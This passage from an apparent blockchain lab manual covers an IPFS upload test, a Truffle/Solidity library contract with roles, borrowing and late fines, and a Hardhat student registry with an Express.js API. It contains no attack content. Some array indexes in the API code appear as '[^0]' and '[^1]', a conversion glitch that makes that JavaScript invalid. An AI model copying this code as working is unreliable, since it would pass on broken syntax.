            uploadResult.hash,
            'downloaded-document.txt'
            );
            console.log('Download successful:', downloadResult);

            console.log('\n=== Testing File Info ===');

            // Get file info
            const fileInfo = await ipfs.getFileInfo(uploadResult.hash);
            console.log('File info retrieved:', fileInfo);

            console.log('\n=== Testing File Pin ===');

            // Pin file
            await ipfs.pinFile(uploadResult.hash);

            console.log('\n=== Test completed successfully! ===');
            console.log(`Access your file at: http://localhost:8080/ipfs/${uploadResult.hash}`);

    } catch (error) {
            console.error('Test failed:', error);
    }
}

testUpload();
```

Result:

Exp. No.	**7.Implementation and Testing of Web3Library Smart Contract System**
Date:	

Aim

To implement a decentralized library management system using Solidity smart contracts that enables role-based book management, automated fine calculations, and event-driven transaction logging.

Prerequisites

- **OS**: Windows/macOS/Linux
- **Node.js**: v18+ (check with node -v)
- **npm**: v8+ (check with npm -v)
- **Truffle**: npm i -g truffle
- **Git**: For version control

Note: This lab uses Truffle Develop (built-in local blockchain).

Algorithm:

Clone and Setup

Clone the repository
```
git clone https://github.com/Arunmani21/Web3Library.git
cd Web3Library
```

Install dependencies
```
npm install
```

2. Start Local Blockchain

Terminal 1: Start Truffle Develop
```
truffle develop
```

3. Compile and Deploy

Terminal 2: Compile contracts
```
truffle compile
```

Deploy contracts
```
truffle migrate --reset
```

4. Test Contract Functions

Add a book (librarian function)
```
truffle exec scripts/addBook.js
```

Query all books
```
truffle exec scripts/queryBooks.js
```

Borrow a book (student function)
```
truffle exec scripts/borrowBook.js
```

Return a book
```
truffle exec scripts/returnBook.js
```

Check final library state
```
truffle exec scripts/queryBooks.js
```

Smart Contract Code:

contracts/Web3Library.sol
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Web3Library {


        // STRUCTS

        struct Book {
        uint id;
        string title;
        string author;
        bool isAvailable;
        }

        struct BorrowInfo {
        address student;
        uint borrowTimestamp;
        bool returned;
        }


        // STATE VARIABLES

        address public admin;
        uint public nextBookId = 1;

        mapping(uint => Book) public books;              // bookID => Book
        mapping(uint => BorrowInfo) public borrowRecords;   // bookID => BorrowInfo
        mapping(address => uint) public fines;           // studentAddress => amount in wei

        mapping(address => bool) public librarians;    // Librarian Role


        // EVENTS

        event BookAdded(uint bookId, string title, string author);
        event BookRemoved(uint bookId);
        event BookBorrowed(uint bookId, address student);
        event BookReturned(uint bookId, address student);
        event FinePaid(address student, uint amount);


        // MODIFIERS

        modifier onlyAdmin() {
        require(msg.sender == admin, "Only Admin can perform this action");
        _;
        }

        modifier onlyLibrarian() {
        require(librarians[msg.sender] == true, "Only Librarian can perform this action");
        _;
        }

        modifier bookExists(uint bookId) {
        require(bookId > 0 && bookId < nextBookId, "Book does not exist");
        _;
        }


        // CONSTRUCTOR

        constructor() {
        admin = msg.sender;
        librarians[msg.sender] = true; // Make the admin a librarian by default
        }


        // ADMIN FUNCTIONS

        function addLibrarian(address librarian) external onlyAdmin {
        librarians[librarian] = true;
        }

        function removeLibrarian(address librarian) external onlyAdmin {
        librarians[librarian] = false;
        }


        // LIBRARIAN FUNCTIONS

        function addBook(string memory title, string memory author) external onlyLibrarian {
        books[nextBookId] = Book(nextBookId, title, author, true);
        emit BookAdded(nextBookId, title, author);
        nextBookId++;
        }

        function addBooks(string[] memory titles, string[] memory authors) external onlyLibrarian {
```

```
require(titles.length == authors.length, "Titles and authors arrays must have the same length");

for (uint i = 0; i < titles.length; i++) {
books[nextBookId] = Book(nextBookId, titles[i], authors[i], true);
emit BookAdded(nextBookId, titles[i], authors[i]);
nextBookId++;
}
}

function removeBook(uint bookId) external onlyLibrarian bookExists(bookId) {
delete books[bookId];
emit BookRemoved(bookId);
}


// STUDENT FUNCTIONS

function borrowBook(uint bookId) external bookExists(bookId) {
Book storage book = books[bookId];
require(book.isAvailable, "Book is already borrowed");

// Record borrow
borrowRecords[bookId] = BorrowInfo(msg.sender, block.timestamp, false);
book.isAvailable = false;

emit BookBorrowed(bookId, msg.sender);
}

function returnBook(uint bookId) external bookExists(bookId) {
BorrowInfo storage record = borrowRecords[bookId];
require(record.student == msg.sender, "You did not borrow this book");
require(record.returned == false, "Book already returned");

record.returned = true;
books[bookId].isAvailable = true;

// Check for fine: 14-day borrow period, 0.001 ether per late day
uint borrowPeriod = 14 days;
if (block.timestamp > record.borrowTimestamp + borrowPeriod) {
uint lateDays = (block.timestamp - record.borrowTimestamp - borrowPeriod) / 1 days;
fines[msg.sender] += lateDays * 0.001 ether;
}

emit BookReturned(bookId, msg.sender);
}

function payFine() external payable {
require(fines[msg.sender] > 0, "No fine to pay");
require(msg.value >= fines[msg.sender], "Insufficient payment");
```

```
            // Refund any excess payment
            if (msg.value > fines[msg.sender]) {
            payable(msg.sender).transfer(msg.value - fines[msg.sender]);
            }

            fines[msg.sender] = 0;
            emit FinePaid(msg.sender, msg.value);
            }


            // VIEW FUNCTIONS

            function getBook(uint bookId) external view bookExists(bookId) returns (Book memory) {
            return books[bookId];
            }

            function getAllBooks() external view returns (Book[] memory) {
            Book[] memory allBooks = new Book[](nextBookId - 1);
            for (uint i = 1; i < nextBookId; i++) {
            allBooks[i - 1] = books[i];
            }
            return allBooks;
            }

            function searchBook(uint bookId) external view bookExists(bookId) returns (string memory title, string
memory author, bool available) {
            Book memory book = books[bookId];
            return (book.title, book.author, book.isAvailable);
            }

            function getFine(address student) external view returns (uint) {
            return fines[student];
            }

            function getBooksCount() external view returns (uint) {
            return nextBookId - 1;
            }
}
```

Result:

Exp. No.	8.Student Registry API: Blockchain Integration with Express.js and Hardhat
Date:	

Aim

To develop a decentralized student registration system that combines Solidity smart contracts with a RESTful API using Node.js and Express.js for seamless blockchain interaction.

Prerequisites

- **OS**: Windows/macOS/Linux
- **Node.js**: v18+ (check with node -v)
- **npm**: v8+ (check with npm -v)
- **Hardhat**: Ethereum development framework
- **Web3.js**: JavaScript library for blockchain interaction

Algorithm:

1. Clone and Setup

Clone the repository

```
git clone https://github.com/Arunmani21/Student-registry.git
cd Student-registry
```

Install dependencies

```
npm install
```

2. Start Hardhat Local Network

Terminal 1: Start Hardhat node

```
npx hardhat node
```

3. Deploy Smart Contract

Terminal 2: Deploy contract to localhost

```
npx hardhat ignition deploy ignition/modules/StudentRegistryModule.js --network localhost
```

4. Configure API

Copy contract address from deployment output
Update contract-address.json with deployed address
Ensure StudentRegistryABI.json contains correct ABI

5. Start API Server

Start Express.js server

```
node index.js
```

6. Test API Endpoints

Register a student
```
curl -X POST http://localhost:3000/register \
  -H "Content-Type: application/json" \
  -d '{"name": "John Doe", "age": 25}'
```

Get student details
```
curl http://localhost:3000/student/0x5FbDB2315678afecb367f032d93F642f64180aa3
```

Code:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract StudentRegistry {
        struct Student {
        string name;
        uint256 age;
        }

        mapping(address => Student) public students;

        function registerStudent(string memory _name, uint256 _age) public {
        students[msg.sender] = Student(_name, _age);
        }

        function getStudent(
        address _studentAddr
        ) public view returns (string memory, uint256) {
        Student memory student = students[_studentAddr];
        return (student.name, student.age);
        }
}
```

API Integration File: index.js

```
const express = require('express');
const { Web3 } = require('web3');
const fs = require('fs');

const app = express();
app.use(express.json());

// Web3 setup
const web3 = new Web3('http://127.0.0.1:8545');

// Load contract ABI and address
const contractABI = JSON.parse(fs.readFileSync('./StudentRegistryABI.json', 'utf8'));
const contractAddress = JSON.parse(fs.readFileSync('./contract-address.json', 'utf8')).address;

const contract = new web3.eth.Contract(contractABI, contractAddress);

// Get accounts
let accounts;
web3.eth.getAccounts().then(acc => {
        accounts = acc;
        console.log('Available accounts:', accounts);
});

// POST /register - Register a new student
app.post('/register', async (req, res) => {
        try {
        const { name, age } = req.body;

        if (!name || !age) {
        return res.status(400).json({ error: 'Name and age are required' });
        }

        // Use first account as default
        const fromAccount = accounts[^0];

        const result = await contract.methods.registerStudent(name, age).send({
        from: fromAccount,
        gas: 300000
        });

        res.json({
        message: 'Student registered successfully',
        transactionHash: result.transactionHash,
        studentAddress: fromAccount
        });

        } catch (error) {
        console.error('Registration error:', error);
        res.status(500).json({ error: 'Registration failed' });
        }
});

// GET /student/:address - Get student details
app.get('/student/:address', async (req, res) => {
        try {
        const { address } = req.params;

        if (!web3.utils.isAddress(address)) {
        return res.status(400).json({ error: 'Invalid Ethereum address' });
        }
        const result = await contract.methods.getStudent(address).call();

        if (!result[^0]) {
        return res.status(404).json({ error: 'Student not found' });
        }

        res.json({
        address: address,
        name: result[^0],
        age: parseInt(result[^1])
        });

        } catch (error) {
        console.error('Fetch error:', error);
        res.status(500).json({ error: 'Failed to fetch student' });
        }
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
        console.log(`Server running on http://localhost:${PORT}`);
});
```

Hardhat Deployment Module: ignition/modules/StudentRegistryModule.js

```
const { buildModule } = require("@nomicfoundation/hardhat-ignition/modules");

module.exports = buildModule("StudentRegistryModule", (m) => {
  const studentRegistry = m.contract("StudentRegistry");

  return { studentRegistry };
});
```

Package.json Configuration

```
{
  "name": "student-registry-api",
  "version": "1.0.0",
  "description": "Blockchain-based student registry with REST API",
  "main": "index.js",
  "scripts": {
        "start": "node index.js",
        "dev": "nodemon index.js"
  },
  "dependencies": {
        "express": "^4.18.2",
        "web3": "^4.2.0"
  },
  "devDependencies": {
        "@nomicfoundation/hardhat-toolbox": "^3.0.0",
        "hardhat": "^2.17.1",
        "nodemon": "^3.0.1"
 }
}
```

Result: